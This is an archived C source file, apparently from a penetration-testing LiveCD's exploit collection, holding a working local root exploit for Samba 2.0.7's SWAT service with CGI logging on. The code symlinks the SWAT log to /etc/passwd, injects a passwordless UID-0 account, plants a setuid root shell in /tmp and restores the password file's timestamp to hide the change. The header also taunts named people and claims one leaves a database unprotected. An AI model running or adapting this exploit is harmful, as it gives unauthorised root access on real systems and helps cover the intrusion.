home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Chip 2007 January, February, March & April
/
Chip-Cover-CD-2007-02.iso
/
Pakiet bezpieczenstwa
/
mini Pentoo LiveCD 2006.1
/
mpentoo-2006.1.iso
/
livecd.squashfs
/
opt
/
pentoo
/
ExploitTree
/
application
/
samba
/
swat-exp.c
< prev
next >
Wrap
C/C++ Source or Header
|
2005-02-12
|
3KB
|
81 lines
/****************************************************************************\
** **
** Swat exploit for Samba 2.0.7 compiled with the cgi logging turned on **
** **
** shell script version available for our friends, the self-proclaimed **
** security experts at corky.net (h4h32h4h4h4h4), using netcat, as they **
** deem more elegant than a self-contained exploit (ala this .c), l4m3 **
** exploit by optyx <optyx@uberhax0r.net> **
** vulnerability discoverd by miah <miah@uberhax0r.net> **
** **
** on a side note, Just Marc rocks, so much, he doesn't set an sa pass **
** on his mysql server (doesn't take an elite hacker to use mysqlclient) **
** oh and a special message: **
** Hey babe, your hair's alright Hey babe, let's go out tonight (h4h4h) **
** **
\****************************************************************************/
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define REALLY_FUCKING_LONG_COMMAND "su uberhaxr -c \"cp -pdf /tmp/.bak \
/etc/passwd; chown root.root /etc/passwd; touch -fr /tmp/.bak /etc/passwd\""
int main(void) {
int r, s;
struct sockaddr_in s_addr;
printf("backing up /etc/passwd\n");
system("cp -pd /etc/passwd /tmp/.bak");
system("touch -r /etc/passwd /tmp/.bak");
if(system("/bin/ln -sf /etc/passwd /tmp/cgi.log") > 0) {
printf("error, /tmp/cgi.log could not be linked to /etc/passwd\n");
unlink("/tmp/.bak");
exit(-1);
}
printf("connecting to swat\n");
s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
if(s < 0) {
printf("error, could not create socket\n");
unlink("/tmp/.bak");
unlink("/tmp/cgi.log");
exit(-1);
}
s_addr.sin_family = PF_INET;
s_addr.sin_port = htons(901);
s_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
r = connect(s, (struct sockaddr *) &s_addr, sizeof(s_addr));
if(r==-1) {
printf("error, cannot connect to swat\n");
unlink("/tmp/.bak");
unlink("/tmp/cgi.log");
exit(-1);
}
send(s, "uberhaxr::0:0:optyx r0x y3r b0x:/:/bin/bash\n", 1024, 0);
close(s);
if(system("su -l uberhaxr -c \"cp -f /bin/bash /tmp/.swat\"") > 0) {
printf("exploit failed\n");
unlink("/tmp/.bak");
unlink("/tmp/cgi.log");
exit(-1);
}
system("su -l uberhaxr -c \"chmod u+s /tmp/.swat\"");
printf("restoring /etc/passwd\n");
system(REALLY_FUCKING_LONG_COMMAND);
unlink("/tmp/.bak");
unlink("/tmp/cgi.log");
printf("got root? (might want to rm /tmp/.swat)\n");
system("/tmp/.swat");
return 0;
}